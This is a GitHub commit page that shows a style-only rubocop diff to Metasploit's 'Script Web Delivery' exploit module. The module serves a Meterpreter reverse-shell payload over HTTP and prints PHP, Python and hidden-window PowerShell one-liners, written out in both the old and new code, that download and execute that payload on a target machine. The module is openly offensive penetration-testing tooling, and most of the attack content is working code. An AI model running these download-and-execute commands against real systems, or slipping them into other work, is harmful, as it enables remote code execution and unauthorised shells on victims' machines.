Skip to content

Commit 5a25120

Browse files
committed
Apply rubocop changes to multi/script/web_delivery
1 parent 8af4c49 commit 5a25120

File tree

1 file changed

+24
-24
lines changed

1 file changed

+24
-24
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
1515
def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Script Web Delivery',
18-
'Description' => %q{
18+
'Description' => %q(
1919
This module quickly fires up a web server that serves a payload.
2020
The provided command will start the specified scripting language interpreter and then download and execute the
2121
payload. The main purpose of this module is to quickly establish a session on a target
@@ -25,26 +25,26 @@ def initialize(info = {})
2525
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
2626
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
2727
x86 payloads on x64 machines.
28-
},
28+
),
2929
'License' => MSF_LICENSE,
3030
'Author' =>
3131
[
3232
'Andrew Smith "jakx" <[email protected]>',
3333
'Ben Campbell',
34-
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
34+
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
3535
],
3636
'DefaultOptions' =>
3737
{
3838
'Payload' => 'python/meterpreter/reverse_tcp'
3939
},
4040
'References' =>
4141
[
42-
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
43-
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
44-
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
45-
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
42+
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
43+
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
44+
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
45+
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
4646
],
47-
'Platform' => %w{python php win},
47+
'Platform' => %w(python php win),
4848
'Targets' =>
4949
[
5050
['Python', {
@@ -62,38 +62,38 @@ def initialize(info = {})
6262
['PSH_x64', {
6363
'Platform' => 'win',
6464
'Arch' => ARCH_X86_64
65-
}],
65+
}]
6666
],
6767
'DefaultTarget' => 0,
6868
'DisclosureDate' => 'Jul 19 2013'
6969
))
7070
end
7171

72-
def on_request_uri(cli, request)
73-
print_status("Delivering Payload")
74-
if (target.name.include? "PSH")
72+
def on_request_uri(cli, _request)
73+
print_status('Delivering Payload')
74+
if target.name.include? 'PSH'
7575
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
7676
else
77-
data = %Q|#{payload.encoded} |
77+
data = %Q(#{payload.encoded} )
7878
end
79-
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
79+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
8080
end
8181

8282
def primer
83-
url = get_uri()
84-
print_status("Run the following command on the target machine:")
83+
url = get_uri
84+
print_status('Run the following command on the target machine:')
8585
case target.name
86-
when "PHP"
86+
when 'PHP'
8787
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
88-
when "Python"
88+
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
90-
when "PSH_x86", "PSH_x64"
90+
when 'PSH_x86', 'PSH_x64'
9191
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
92-
print_line generate_psh_command_line({
93-
:noprofile => true,
94-
:windowstyle => 'hidden',
95-
:command => download_and_run
96-
})
92+
print_line generate_psh_command_line(
93+
noprofile: true,
94+
windowstyle: 'hidden',
95+
command: download_and_run
96+
)
9797
end
9898
end
9999
end

0 commit comments

Comments
 (0)